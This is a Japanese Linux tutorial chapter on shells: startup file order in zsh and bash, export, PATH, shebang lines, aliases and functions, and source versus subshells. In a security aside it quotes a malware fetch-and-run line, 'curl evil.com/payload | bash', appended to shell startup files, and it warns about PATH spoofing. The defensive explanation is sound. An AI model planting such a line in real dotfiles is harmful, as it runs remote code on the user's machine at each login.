2-1. シェルの基礎 - bash / zsh / 起動ファイル / PATH

所要時間: 30-50分(がっつりなら2セッション分) ゴール: シェルの種類・起動ファイルの読み込み順を理解し、「コマンドが見つからない」を1分で原因特定できる コミット内容: 自分の起動ファイル構成と PATH のデバッグログを ~/log/linux_day201.log に保存

この章が終わるとできること

  • $SHELLps -p $$ の違いを説明できる
  • zsh / bash の起動ファイル(.zshenv / .zprofile / .zshrc / .bash_profile / .bashrc)の 読み込み順 を即答できる
  • PATH が「コマンドを探すディレクトリのリスト」と理解し、tr ':' '\n' で可視化できる
  • which / command -v / type の使い分けができる
  • source./script.sh の違いを サブシェルの観点 から説明できる

Level 1 とのつながり

  • Level 1 では「コマンドを叩く側」だった。Level 2 ではコマンドを 「束ねる側」 に回る
  • Day 1 で見た echo $PATH$PATH の正体に今日踏み込む
  • Day 6 の「プロセス」概念が再登場 ─ シェル自体もプロセスで、起動ファイルが読まれるタイミング = プロセス起動時

これができると何が嬉しいか

  • 「ローカルで動くのに本番で動かない」事故の 8割の原因 をその場で切り分けできる
  • SSH 先で alias が効かない / cron で環境変数が無い、を秒で説明できる
  • Day 9(Bash スクリプト)以降の すべての前提知識 が揃う

大前提: 「シェル」を意識しないと事故が起きる

Level 1 ではコマンドをひたすら叩いてきた。あの「コマンドを受け取って実行してくれる人」が シェル(shell)です。OSと人間の間に立つ通訳。

シェルを意識せず使い続けると、こんな事故に遭う:

  • 「ローカルで動くのに本番で動かない」 → シェルが違う(zsh と dash)、起動ファイルが違う
  • 「SSH したら PATH が変」 → 対話シェルとログインシェルの違いで起動ファイルが読まれない
  • 「cron で環境変数が効かない」 → cron は最小環境で動く、.zshrc を読まない
  • 「Docker コンテナで source が動かない」 → コンテナは bash でなく dash(sh)が多い

これらは全部 「どのシェルが、どの設定ファイルを読んで動いているか」 が分からないと原因特定できない。本気のバックエンドエンジニアになるなら、ここで一度しっかり整理しておく。


セッション①: シェルの種類と起動ファイル(30分)

0. 録画スタート

mkdir -p ~/log
script ~/log/linux_day201.log

1. 今使ってるシェルは何か

「今このターミナルで動いているシェル」を 正確に 特定するためのコマンド群です。

  • 何をするか: $SHELL 変数と ps -p $$ で現在のシェルを2方向から確認します
  • いつ使うか: SSH先で alias が効かない時、cron で動かないスクリプトの原因切り分け、zsh のつもりが bash で動いていた時など
  • 解決する具体的な問題: 「ローカルでは動くのにサーバーで動かない」の8割は「シェルが違う」「読み込まれる設定ファイルが違う」が原因。まずここを疑う癖を付けます
# ログインシェル(OSがログイン時に立ち上げるシェル)
echo $SHELL
# /bin/zsh
 
# 現在のプロセスのシェル(このターミナルで実際に動いてるやつ)
# ↓ $$ は「今動いている自分自身のシェルのプロセスID」を表す特殊変数(詳細は 2-2)
ps -p $$
# PID TTY           TIME CMD
# 12345 ttys001    0:00.10 -zsh
 
# シェルのバージョン
zsh --version
bash --version

$SHELL と「実際に動いてるシェル」は別物

$SHELLOSが記録している「あなたのデフォルトシェル」 の値(/etc/passwd に書かれている)。一方、いま手元で動いているシェルは、後から bash と打って起動したかもしれない。

「現在のプロセスが何で動いているか」を知るには ps -p $$$$ は「現在のプロセスID」を表す特殊変数。

実務ユースケース: 本番サーバーに SSH したら $SHELL/bin/bash なのに、何かのスクリプトの中では sh で動いていてシェル拡張が効かない、ということがある。ps -p $$ で確認する癖を。

2. シェルの種類と歴史

シェルの歴史(30秒)

  • sh (Bourne shell, 1977): Unix の元祖シェル。今でも /bin/sh として存在
  • bash (Bourne Again shell, 1989): GNU が作った sh の拡張版。Linux のデフォルト
  • zsh (Z shell, 1990): bash の機能をさらに拡張、補完が強力。macOS のデフォルト(2019年〜)
  • fish (Friendly Interactive shell, 2005): 設定なしで補完が効く現代的シェル。POSIX非互換
  • dash (Debian Almquist shell): 軽量な sh 互換シェル。Debian/Ubuntu の /bin/sh の実体

POSIX: シェルの「最低限ここまでは同じ仕様にしようね」という業界標準。bash も zsh も POSIX を拡張している。dash は POSIX に忠実で軽い。

それぞれの使い分け

シェル主な用途
bash本番サーバーの デフォルト。スクリプトを書くなら基本これ。Linux の /bin/bash
zsh対話用として macOS デフォルト。補完・テーマが強力(Oh My Zsh など)
fish対話特化。スクリプト互換性が低いので、本番サーバーには入れない
dash / shスクリプト実行用の最小シェル。Debian/Ubuntu で #!/bin/sh と書くとこれで動く

重要な誤解: 「ローカル(zsh)で動いた .sh ファイルが本番(bash)で動かない」事件は頻発する。さらに恐ろしいのが「#!/bin/sh と書いたら本番では dash で動いて配列構文が壊れた」。これは後の章で詳しくやる。

「シェル」と「ターミナルアプリ」の混同

  • シェル: bash / zsh など、コマンドを解釈して実行するプログラム
  • ターミナルエミュレータ: Terminal.app / iTerm2 / Alacritty など、シェルを表示する窓

「ターミナルを変える」と「シェルを変える」は別の操作。iTerm2 を使ってても中身が zsh なら zsh の設定ファイルが効く。

3. ログインシェル vs 非ログインシェル / 対話 vs 非対話

シェルには 2軸4種類 の起動モードがある。これを理解しないと「起動ファイルがいつ読まれるか」が分からない。

# ログインシェルかどうか確認(1なら true)
# ↓ && は「左が成功したら右を実行」、|| は「左が失敗したら右」(詳細は 2-3)
# ↓ shopt は bash の設定確認、[[ -o login ]] は zsh の「login オプションが ON か」
shopt -q login_shell && echo "login" || echo "non-login"   # bashの場合
[[ -o login ]] && echo "login" || echo "non-login"          # zshの場合
 
# 対話シェルかどうか($- に i が含まれているかで判定)
# ↓ case は「値に応じて分岐」する構文(詳しくは 2-3 でやる)。
# ↓ "$-" は現在のシェルのオプション文字列、*i* は「中に i が含まれる」パターン
case "$-" in *i*) echo "interactive" ;; *) echo "non-interactive" ;; esac

4種類の起動モード

モード
ログイン × 対話macOSのターミナルを開いた瞬間、SSHでログインした直後
非ログイン × 対話ターミナル内でさらに bash を起動、tmux の新ペイン
ログイン × 非対話ssh user@host "command" のように1コマンド実行
非ログイン × 非対話bash script.sh でスクリプト実行、cron が動かす

なぜ気にするか: モードごとに 読み込まれる起動ファイルが違う。これを知らないと、「.zshrc に書いた alias が cron では効かない」みたいな現象の理由が分からない。

4. 起動ファイルの読み込み順(zsh)

シェルが起動するとき、複数の設定ファイル(.zshenv .zshrc 等)を 決まった順序で 読み込みます。この順序を把握しておかないと「設定したのに効かない」事故が起きます。

  • 何を確認するか: zsh が参照する可能性のある全起動ファイルの存在を一覧する
  • いつ使うか: 新しい環境で「どのファイルが既に存在するか」を把握する初期調査、.zshrc に書いた設定が効かない時のデバッグ
  • 解決する具体的な問題: 「PATH を .zshrc に書いたのに cron で効かない」「.zprofile.zshrc 両方にメッセージ書いて2回出る」など、ファイル別の役割を知らないと起こる事故を予防します
# zsh が読むファイル(順番が大事)
ls -la ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin 2>/dev/null

ざっくり言うと

zsh は 「いつ起動したか」によって読むファイルが違う。 これを知らないと「.zshrc に書いたのに cron で効かない」事故が起きる。

まず普通のパターン

zsh の頭の中:

zsh が起動した
  ↓
「俺、今どんなモードで起動した?」
  ↓
ログインか? 対話か?
  ↓
それに応じて読むファイルを決める

読み込み順のフロー

zsh 起動
  ↓
[1] /etc/zshenv → ~/.zshenv     ← 必ず読む(どんなモードでも)
  ↓
ログインシェルか?
  YES ↓
[2] /etc/zprofile → ~/.zprofile  ← ログイン時のみ
  ↓
対話シェルか?
  YES ↓
[3] /etc/zshrc → ~/.zshrc        ← 対話時のみ
  ↓
ログインシェルか?
  YES ↓
[4] /etc/zlogin → ~/.zlogin      ← ログインの締めくくり

4ファイルの対比

ファイルいつ読まれるか何を書くかイメージ
~/.zshenv全部のシェルで必ずPATH、環境変数玄関に張る紙(全員見る)
~/.zprofileログイン時1回ssh-agent 起動など朝の儀式
~/.zshrc対話シェル時alias、プロンプト、補完仕事机のセットアップ
~/.zloginログインの最後起動メッセージ(実用ほぼ無し)締めの挨拶

「PATH を .zshrc に書いたら cron で動かない」事故

cron が起動
  ↓
非対話・非ログインシェル
  ↓
zsh は ~/.zshenv だけ読む
  ↓
~/.zshrc を読まない
  ↓
PATH が更新されてない
  ↓
go: command not found

正解: PATH のような「どこからでも効かせたい設定」は ~/.zshenv に書く。

# ~/.zshenv
export PATH="$HOME/go/bin:$PATH"
export EDITOR=nvim
 
# ~/.zshrc (対話だけで使う)
alias ll='ls -lah'
PROMPT='%~ $ '

bash の場合

bash も似ているが少しややこしい:

ファイルいつ読まれるか
/etc/profileログインシェル
~/.bash_profile or ~/.profileログインシェル(前者があれば後者は読まない)
~/.bashrc対話・非ログインシェル

bash には .zshenv 相当(全モードで必ず読まれるファイル)が無い。だから多くの人は ~/.bash_profile の中で source ~/.bashrc する。

一番覚えやすい説明

  • .zshenv = どんな時も読む = 環境変数の置き場
  • .zshrc = 対話の時だけ読む = 使い心地の置き場
  • 困ったら PATH は .zshenv、alias は .zshrc で覚える

よくあるアンチパターン: 全部 .zshrc に書く

# ~/.zshrc に PATH を書いている
export PATH="$HOME/go/bin:$PATH"

これだと cron や ssh user@host "go version" で PATH が効かない。なぜなら .zshrc は対話シェルでしか読まれないから。

正解: PATH や環境変数は ~/.zshenv に書く。alias や補完設定だけ ~/.zshrc に。

ログイン時にメッセージが2回出る現象

.zprofile.zshrc の両方に neofetch のような起動メッセージを書くと、ターミナル起動時(ログイン+対話)に両方走って2回出る。役割分担が大事。

5. 環境変数 vs シェル変数、export の意味

ざっくり言うと

普通に VAR=hello で変数を作っても、そこから起動した子プロセス(Goアプリ、別シェル、スクリプト等)からは見えない。 それを「子に渡せる変数」に昇格させるのが export

まず普通のパターン

MY_VAR="hello"
echo $MY_VAR        # hello

この時の構造はこう:

シェル(親)
  └─ MY_VAR="hello"   ← このシェルの中だけのメモ書き

この状態で子プロセスを起動すると:

bash -c 'echo $MY_VAR'   # 空っぽ

なぜか:

シェル(親) MY_VAR="hello"
  └─ bash(子)          ← MY_VAR が引き継がれていない!
      └─ echo $MY_VAR    ← 空っぽ

シェル変数は 「親が自分の手帳に書いただけ」。子プロセスを起動するとき、その手帳は持たせない。

export は「子に持たせるカバンに入れる」

export MY_VAR="hello"
bash -c 'echo $MY_VAR'   # hello

イメージ:

シェル(親) [カバン: MY_VAR="hello"]
  └─ bash(子)          ← カバンをそのまま引き継ぐ
      └─ echo $MY_VAR    ← hello!

export = 「この変数は子プロセスに引き継ぐカバンに入れる」 マーキング。

対比表

シェル変数環境変数 (export 済み)
作り方VAR=valueexport VAR=value
現在のシェル見える見える
子プロセス見えない見える
env で確認出ない出る
用途一時的なメモ、ループカウンタアプリ設定、PATH、DATABASE_URL

実務での顕在化

# DATABASE_URL を Go アプリ(子プロセス)に渡したい
DATABASE_URL="postgres://..."   # NG: シェル変数のまま
go run main.go                  # アプリから os.Getenv("DATABASE_URL") → 空
 
# OK
export DATABASE_URL="postgres://..."
go run main.go                  # アプリから読める

一番覚えやすい説明

  • シェル変数 = 親の手帳のメモ(子は読めない)
  • 環境変数 (export 済み) = 子に持たせるカバンの中身

os.Getenv で読めない」の正体は、ほぼ100% export し忘れ。

# 環境変数を確認
env | grep MY_VAR
printenv MY_VAR
 
# 削除
unset MY_VAR

env コマンドの2つの顔

  1. 現在の環境変数を一覧表示: env (引数なし)
  2. 指定した環境変数でコマンドを実行: env VAR=value command

後者の応用が shebang の #!/usr/bin/env bash(後述)。

6. PATH の仕組み

ざっくり言うと

go と打った時、シェルはあなたの PC 全体を検索したりはしない。 事前に登録された「ここを探していい」ディレクトリリスト だけを順番に見る。それが PATH

まず普通のパターン

echo $PATH
# /usr/local/bin:/usr/bin:/bin:/Users/takato/go/bin

: で区切られた コロン区切りリスト。これを左から順にスキャンする。

シェルが go を探すフロー

go version と打った時、シェルの脳内:

go と打たれた
  ↓
PATH を左から順に見る
  ↓
1. /usr/local/bin/go    あるか? → ない
  ↓
2. /usr/bin/go          あるか? → ない
  ↓
3. /bin/go              あるか? → ない
  ↓
4. /Users/takato/go/bin/go あるか? → あった!
  ↓
こいつを実行する

最初に見つけたものを使う。それ以降は 見ない

「command not found」が出るパターン

go と打たれた
  ↓
PATH を全部スキャン
  ↓
どこにも go が無い
  ↓
command not found

= PATH に登録されていないだけ(バイナリ自体はサーバー上にある)。

「想定と違うバージョンが動く」パターン

PATH=/usr/bin:/Users/takato/go/bin
# /usr/bin/go (古い1.18) と /Users/takato/go/bin/go (新しい1.22) が両方ある
go version と打たれた
  ↓
1. /usr/bin/go        あった! ← ここで止まる
  ↓
古い 1.18 が動いてしまう

順序が運命を決める。新しい方を優先したいなら:

export PATH="$HOME/go/bin:$PATH"   # 先頭に追加 → 優先

「コマンドの実体を確認する」3コマンドの違い

which go         # 外部コマンド、PATH を見るだけ
command -v go    # シェル組み込み、alias も関数も見る(推奨)
type go          # 「何種類のもの?」まで教える(alias/function/builtin/file)
whichcommand -vtype
alias を見る×
関数を見る×
種類を表示××

「コマンドが見つからない」デバッグの一番覚えやすい手順

# 1. そもそも PATH に何が並んでるか
echo $PATH | tr ':' '\n'
 
# 2. バイナリ自体は存在するか(PATH を無視して全検索)
find /usr /opt /home -name go -type f 2>/dev/null
 
# 3. 実体があるなら PATH に足す
export PATH="/usr/local/go/bin:$PATH"
 
# 4. 確認
type go
hash -r   # キャッシュクリア(パス変更後)

一番覚えやすい説明

  • PATH = 「探していい場所のリスト」(左から順に見る)
  • command not found = リストに登録されていないだけ
  • バージョンが違う = リストの順序問題
  • 確認は command -vtype
# PATH を見る
echo $PATH
# /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/takato/go/bin
 
# 読みやすく改行
echo $PATH | tr ':' '\n'
 
# コマンドがどこにあるか
which ls       # /bin/ls
which go       # /Users/takato/go/bin/go
command -v go  # which より推奨(後述)
type go        # 「コマンドの種類」まで出る(alias / function / builtin / file)
 
# PATH に追加
export PATH="$HOME/bin:$PATH"  # 先頭追加(優先度高)
export PATH="$PATH:$HOME/bin"  # 末尾追加(既存優先)

PATH の本質

PATH は 「コマンドを探すディレクトリのリスト」: で区切られている。

go と打つと、シェルは PATH を左から順に見ていって、最初に go という実行可能ファイルが見つかったディレクトリで実行する。

which vs command -v vs type

  • which: 外部コマンド。alias を見ない(だから推奨されない)
  • command -v: シェル組み込み。alias も関数も見る。スクリプトではこっち
  • type: 「これは何種類のもの?」まで教えてくれる(alias / function / builtin / file

「コマンドが見つからない」のデバッグ手順

# 1. PATH を確認
echo $PATH | tr ':' '\n'
 
# 2. コマンドの実体を探す(PATHを無視して)
ls /usr/local/bin/go
find /usr -name go -type f 2>/dev/null
 
# 3. 実体があるのに見つからないなら PATH に追加忘れ
export PATH="/usr/local/go/bin:$PATH"
 
# 4. type / hash で再確認
type go
hash -r  # コマンドキャッシュをクリア(パス変更後)

PATH のアンチパターン

# NG: . (カレントディレクトリ)を PATH に入れる
export PATH=".:$PATH"

なぜNG: 悪意あるディレクトリで ls という名前のスクリプトを置かれると、それが実行される。セキュリティ上、絶対にやらない

# NG: 既存 PATH を上書き
export PATH="$HOME/bin"

なぜNG: :$PATH を付け忘れて、システムコマンド全部が消える。ls すら使えなくなる。必ず :$PATH で既存を保持する

セキュリティ: setuid されたディレクトリと PATH

PATH の先頭に書き込み可能なディレクトリ(特に /tmp や他人が書ける場所)を入れると、攻撃者がコマンドを偽装できる。本番サーバーでは PATH のディレクトリすべてが「自分か root しか書けない」状態であるべき。ls -ld $(echo $PATH | tr ':' ' ') で権限確認可能。

7. shebang の話(env 推奨理由)

スクリプトの1行目に書く #!/usr/bin/env bash の正体と、なぜ #!/bin/bash より推奨されるかを整理します。

  • 何の構文か: shebang(シバン)は「このファイルをどのインタプリタで実行するか」をカーネルに伝える特殊なコメント行
  • いつ意識するか: スクリプトを書く時の1行目、macOS と Linux で動く可搬性が必要な時、Homebrew の bash5 とシステムの bash3 を使い分けたい時
  • 解決する具体的な問題: 「macOS で書いたスクリプトが Linux サーバーで動かない」「bash のバージョンが古くて連想配列が使えない」「Docker コンテナで /bin/bash が存在しない」事故を可搬性のある書き方で予防します
# パターンA: 絶対パス指定
#!/bin/bash
 
# パターンB: env 経由
#!/usr/bin/env bash

ざっくり言うと

shebang は「このファイルを何で実行するか」をカーネルに告げる1行目。 これが無いと「現在のシェル」で実行されてしまい、bash用に書いたのに dash で動いて壊れる、みたいな事故が起きる。

shebang が無い時に何が起きるか

# script.sh (shebang なし)
echo "hello"
arr=(a b c)        # bash の配列構文
echo ${arr[1]}

このファイルを実行すると:

./script.sh が呼ばれた
  ↓
カーネル「shebang が無い」
  ↓
じゃあ呼び出し元のシェルで実行
  ↓
呼び出し元が bash なら bash で動く
呼び出し元が dash なら dash で動く ← 配列構文で死ぬ

= 同じスクリプトが環境によって挙動が変わる。最悪。

shebang を書くと何が起きるか

#!/bin/bash
echo "hello"
arr=(a b c)
echo ${arr[1]}
./script.sh が呼ばれた
  ↓
カーネル「1行目が #! で始まってる」
  ↓
そこに書かれた /bin/bash を起動
  ↓
/bin/bash がこのファイルを読んで実行

= どんなシェルから呼ばれても bash で実行される。安心。

これは bash の機能じゃなくて カーネルの機能

/bin/bash 直書き vs /usr/bin/env bash

#!/bin/bash             # パターンA: 絶対パス
#!/usr/bin/env bash     # パターンB: env 経由

それぞれの探し方:

パターンA: /bin/bash 固定
  ↓
macOS で Homebrew の bash5 を入れていても /bin/bash3 が呼ばれる
  ↓
bash3 だと連想配列が使えない

パターンB: env が PATH を見る
  ↓
PATH の中から最初に見つかった bash を呼ぶ
  ↓
ユーザーが入れた新しい bash が使われる
#!/bin/bash#!/usr/bin/env bash
パス絶対パス固定PATH を見る
可搬性低い(OS依存)高い
バージョン管理できないpyenv/nvm が効く
セキュリティ高い(攻撃の余地少)やや低
推奨init.d など固定環境一般的なスクリプト

shebang の落とし穴

# ファイルの先頭が
#!/bin/bash\r          ← Windows 改行 (CRLF) が混入

これを Linux で実行すると:

カーネル「/bin/bash\r を起動しろ」
  ↓
そんなバイナリは無い
  ↓
"No such file: /bin/bash\r" という意味不明エラー

対策: file script.sh で改行コード確認、dos2unix script.sh で変換。

一番覚えやすい説明

  • shebang = 「このファイルを何で実行するか」のカーネルへの指示
  • 無いと 呼び出し元のシェル次第 で挙動が変わる
  • 基本は #!/usr/bin/env bash(可搬性のため)
  • 拡張子 .sh は飾り。shebang が本体。

shebang の落とし穴

  • 拡張子 .sh は無関係: shebang さえあれば .sh 無くても実行できる。逆に shebang が無いと、.sh でも「現在のシェル」で実行される
  • 改行コード CRLF: Windowsで作った .sh を Linux に持ち込むと shebang の後ろに \r が付いて「No such file: /bin/bash\r」のような謎エラー。file script.sh で改行コード確認、dos2unix で変換
  • shebangは1行目限定: 2行目以降に書いても効かない

セッション②: alias / 関数 / source(25-30分)

8. alias と関数の使い分け

「いつも打つ長いコマンド」を短縮する2つの方法。alias は単純な短縮、関数は引数操作や複数行処理向け という棲み分けです。

  • 何のコマンド/構文か: alias は別名定義、シェル関数は名前付きの小さなプログラム
  • いつ使うか: 毎日打つ git statusgs に短縮、mkdir && cd を1コマンド化、プロジェクト固有のショートカットを .zshrc に常備
  • 解決する具体的な問題: タイプ量削減、ヒューマンエラー予防(rm -i を強制するなど)、チームで共通のオペレーションを揃える。ただし alias は引数の扱いに罠があり、引数を途中に挟みたい場合は関数が必要です
# alias: コマンドの「短縮表現」
alias ll='ls -lah'
alias gs='git status'
 
# alias を一覧
alias
 
# alias を削除
unalias ll
 
# alias を一時的に無効化(先頭にバックスラッシュ)
\ls   # alias 'ls' を無視して本物の ls を実行
 
# 関数: 引数を取れる、複数行書ける
# ↓ $1 は「関数(やスクリプト)に渡された1番目の引数」(特殊変数は 2-2 で深掘り)
mkcd() {
  mkdir -p "$1" && cd "$1"
}
 
# 関数を一覧
declare -f   # bash
functions    # zsh

alias と関数の決定的な違い

観点alias関数
引数の扱い末尾に追加されるだけ$1 $2 で個別に受け取れる
複数行不可(; で繋ぐのも厳しい)自由
制御構造使えないif for 使い放題
速度わずかに速いわずかに遅い

目安: 1コマンドの短縮なら alias、引数操作や複数コマンドなら関数。

alias の罠: 引数を途中に挟めない

alias gco='git checkout'
gco main    # OK: git checkout main になる
 
alias mygit='git -C ~/myrepo'
mygit status main    # 期待: git -C ~/myrepo status main
# 実際: git -C ~/myrepo status main (これは合ってる)
 
alias gci='git commit -m "$1"'   # NG!
gci "msg"    # 期待: git commit -m "msg"
# 実際: git commit -m "$1" "msg"   ($1 は展開されない)

alias の中の $1展開されない。展開したいなら関数を使う:

gci() { git commit -m "$1"; }

alias 展開のタイミング

alias は コマンドラインに打った瞬間に展開 される。シェルスクリプトの中では デフォルトで alias が展開されない(bash の場合)。

# ~/.bashrc に alias ll='ls -lah' があっても
bash -c 'll'   # → command not found

なぜなら、bash -c は非対話シェルで、.bashrc を読まないから。スクリプト内で alias を使いたいなら shopt -s expand_aliases が必要だが、そもそも関数を使うべき

9. source(.)とサブシェル

source./似て非なるもの。前者は現在のシェルでファイルを実行、後者は子プロセスを起動して実行します。この違いが分からないと「.env を読み込んだのに変数が反映されない」事故が起きます。

  • 何のコマンドか: source file (または . file) は現在のシェルでスクリプトを「展開して実行」、./file は新しいサブシェルで実行
  • いつ使うか: .env ファイルを読み込む、.zshrc を編集後に即反映、関数定義を含むライブラリを読み込む、Python の venv を有効化する(source venv/bin/activate
  • 解決する具体的な問題: 「スクリプト内で cd したのにシェルに戻ったら元の場所に戻っていない(正常動作)」「export したはずなのに親シェルに反映されない(./ で実行しているせい)」という挙動の理由を理解します
# source: 現在のシェルでファイルを実行
source ~/.zshrc
# または短縮表記
. ~/.zshrc
 
# ./script.sh: 子プロセス(サブシェル)で実行
./myscript.sh
 
# 比較実験
echo 'export FOO=bar' > test.sh
 
# サブシェル実行 → 親に変数が残らない
bash test.sh
echo $FOO    # 空(子プロセスで定義されただけ)
 
# source 実行 → 親に変数が残る
source test.sh
echo $FOO    # bar

source と通常実行の違い

  • ./script.sh: 新しい子プロセス(サブシェル)を作って、その中でスクリプトを実行。スクリプト内の変数変更や cd は親に影響しない
  • source script.sh / . script.sh: 現在のシェル内でスクリプトの中身を「直接タイプしたかのように」実行。cdexport も親に効く

使い分け

  • 通常のスクリプト実行: ./script.sh(影響範囲を分離)
  • 環境変数を読み込みたい: source ~/.zshrc / source .env
  • 関数定義を読み込みたい: source lib.sh

サブシェルの概念

( ... ) でコマンドを囲むとサブシェルで実行される。中で何しても親に影響しない。

cd /tmp
( cd /etc && ls )   # サブシェルで /etc に移動
pwd                  # /tmp (戻ってる)

実務ユースケース: スクリプト内で一時的に作業ディレクトリを変えたい時、( cd ... && ... ) ならスクリプト全体の cwd が壊れない。

10. 実務トラブル: SSH した時 .zshrc が読まれない

よくある事故: ssh server "command" で alias / 関数が効かない

# ローカルで alias myls='ls -lah' を ~/.zshrc に書いている
ssh server "myls"
# → bash: myls: command not found

原因: ssh server "command"非対話・非ログインシェル として実行される。.zshrc.zprofile も読まれない。

対策

# 1. ssh -t で対話的に(強制的に対話シェル化)
ssh -t server "bash -ic 'myls'"
 
# 2. 環境変数なら ~/.zshenv に書く(これは非対話でも読まれる)
# 3. SSH直後に source する
ssh server "source ~/.zshrc && myls"

CI で「ローカルで動くスクリプトが動かない」

GitHub Actions や GitLab CI は 非対話・非ログインシェル。さらに OS によっては /bin/sh (dash) で起動される。

対策

  • .github/workflows/*.ymlshell: bash を明示
  • スクリプトの shebang を #!/usr/bin/env bash にして、明示的に bash を使う
  • 環境変数は CI の Secrets / Variables に登録(.zshenv は読まれない)

セキュリティ: 起動ファイルへの不審な追記

マルウェアの定番手口: ~/.zshrc~/.bashrc の末尾に curl evil.com/payload | bash のような行を追記する。次回起動時に自動実行される。

定期的に git diff できるよう、起動ファイルは Git で管理する のが鉄則(dotfiles 管理)。差分が出れば一目で異常検知できる。


練習課題

# 1. 自分の起動ファイルを確認
ls -la ~/.zshenv ~/.zprofile ~/.zshrc 2>/dev/null
 
# 2. シェル変数 vs 環境変数を体感
LOCAL_VAR="i am local"
bash -c 'echo "from child: $LOCAL_VAR"'   # 空のはず
export LOCAL_VAR
bash -c 'echo "from child: $LOCAL_VAR"'   # 通る
 
# 3. PATH を改行で見やすく
echo $PATH | tr ':' '\n'
 
# 4. 自作スクリプト用ディレクトリを作って PATH に追加
mkdir -p ~/bin
echo '#!/usr/bin/env bash
echo "hello from my-tool, args: $@"' > ~/bin/my-tool
chmod +x ~/bin/my-tool
 
# ~/.zshenv に追記(PATH なので zshenv が正解)
echo 'export PATH="$HOME/bin:$PATH"' >> ~/.zshenv
 
# 新しいシェルを起動して動作確認
zsh -c 'my-tool world peace'
 
# 5. mkcd 関数を ~/.zshrc に追加
# ↓ name() { ... } は「シェル関数」の定義構文(詳細は 2-2)
# ↓ $1 は関数に渡された第1引数、&& は「左が成功したら右を実行」
cat >> ~/.zshrc <<'EOF'
mkcd() {
  mkdir -p "$1" && cd "$1"
}
EOF
source ~/.zshrc
mkcd ~/learn/linux/day201/test
pwd
 
# 6. shebang の違いを実験
echo '#!/bin/bash
echo "interpreter: $BASH_VERSION"' > test_bash.sh
echo '#!/usr/bin/env bash
echo "interpreter via env: $BASH_VERSION"' > test_env.sh
chmod +x test_*.sh
./test_bash.sh
./test_env.sh
 
# 7. source と ./ の違いを体感
echo 'cd /tmp' > goto.sh
chmod +x goto.sh
pwd
./goto.sh    # サブシェルで cd → 親には影響しない
pwd
source goto.sh   # 現在のシェルで cd → 影響する
pwd

締め: git で証跡を残す

exit   # script 終了
 
cd ~/learn/linux/day201
git init -q 2>/dev/null
git add -A
git commit -m "feat(linux): シェルの種類・PATH・起動ファイルの整理"

チェックリスト

  • $SHELLps -p $$ の違いを説明できる
  • zsh の起動ファイル(.zshenv / .zprofile / .zshrc)の読み込み順を言える
  • PATH が「コマンドを探すディレクトリのリスト」であることを tr ':' '\n' で可視化した
  • whichcommand -v の違いを理解した
  • #!/usr/bin/env bash が推奨される理由を1分で説明できる
  • alias と関数の使い分けを言える
  • source./ の違いを体感した
  • 「SSH で alias が効かない」現象の原因が分かる

詰まった時のチートシート

やりたいことコマンド
現在のシェルps -p $$
シェル種別とバージョン$SHELL --version
環境変数を一覧env / printenv
環境変数を exportexport KEY=value
環境変数を削除unset KEY
PATH を見やすくecho $PATH | tr ':' '\n'
コマンドの実体を探すcommand -v <cmd> / type <cmd>
起動ファイルを再読込source ~/.zshrc
alias 一覧alias
関数一覧declare -f(bash) / functions(zsh)
サブシェルで実行( command )
非対話シェルで実行bash -c '...'
対話シェルで実行bash -ic '...'

「実務OK」基準

  • 「コマンドが見つからない」の原因を1分で特定できる: PATH か、起動ファイル読み込みタイミングか、alias 展開かを切り分けられる
  • PATH に書き込み可能ディレクトリを混ぜない: セキュリティ感覚として ./tmp を入れない
  • 環境変数は .zshenv、対話設定は .zshrc という役割分担ができる
  • #!/usr/bin/env bash を書ける: 可搬性を意識できる
  • source./ の違いを後輩に説明できる: サブシェルの概念が腹落ちしている

さらに深掘りするなら

  • 公式: man zsh / man bash の INVOCATION セクション(起動ファイルの公式仕様)
  • 書籍: 『新しいLinuxの教科書』(三宅英明 / 大角祐介)の シェル章 / 『詳解 シェルスクリプト』(Arnold Robbins)
  • OSS: oh-my-zsh のソースを読むと、起動ファイル設計の参考になる
  • dotfiles ベストプラクティス: GitHub で topic:dotfiles を検索、人気リポジトリの構成を真似る
  • POSIX 仕様: The Open Group Base Specifications - Shell Command Language

アンチパターン / 初心者やらかし事例

NG 1: .bashrc に export 書いて「cron で効かない」

# ~/.bashrc に
export API_KEY=xxx

→ cron は 対話シェルではないので .bashrc を読まない。対策: cron 用は .profile か crontab 内で直接 export、もしくは systemd の EnvironmentFile= を使う(Day 11)。

NG 2: PATH=/custom/bin で上書き

PATH=/custom/bin   # 既存 PATH を全消し! ls すら見つからなくなる

→ 対策: 必ず追記: PATH=/custom/bin:$PATH または PATH=$PATH:/custom/bin

NG 3: source ./script.sh のつもりで ./script.sh を実行 → 環境変数が消える

./set_env.sh    # スクリプト内で export しても、終了したら親シェルに残らない
source ./set_env.sh   # こちらが正解

→ 対策: 「シェルの状態を変える」スクリプトは必ず source(または .)で実行。

NG 4: PATH.(カレント)を入れる

PATH=.:$PATH

→ 攻撃者が /tmp/ls のような偽コマンドを置けるとそれが先に実行される。絶対やらない


自己評価チェックリスト

  • zsh の起動ファイル読み込み順(.zshenv.zprofile.zshrc)を見ずに書ける
  • whichcommand -v の差を説明できる(alias を見るか、純粋に PATH 検索か)
  • source./ の差を 「サブシェル」 の用語で説明できる
  • #!/usr/bin/env bash がなぜ推奨されるか説明できる
  • cron で環境変数が消える理由を答えられる

次のレッスン: Day 9 - Bash スクリプト基礎

明日は 「シェルの設定」から「シェルでプログラムを書く」 に進化する。

クォーティング・変数展開・set -euo pipefail の鉄則・$@ vs $* の罠など、「事故らないスクリプト」の書き方を扱う。今日学んだ $PATH / export / source がそのまま使われる。

Day 9: Bash スクリプト基礎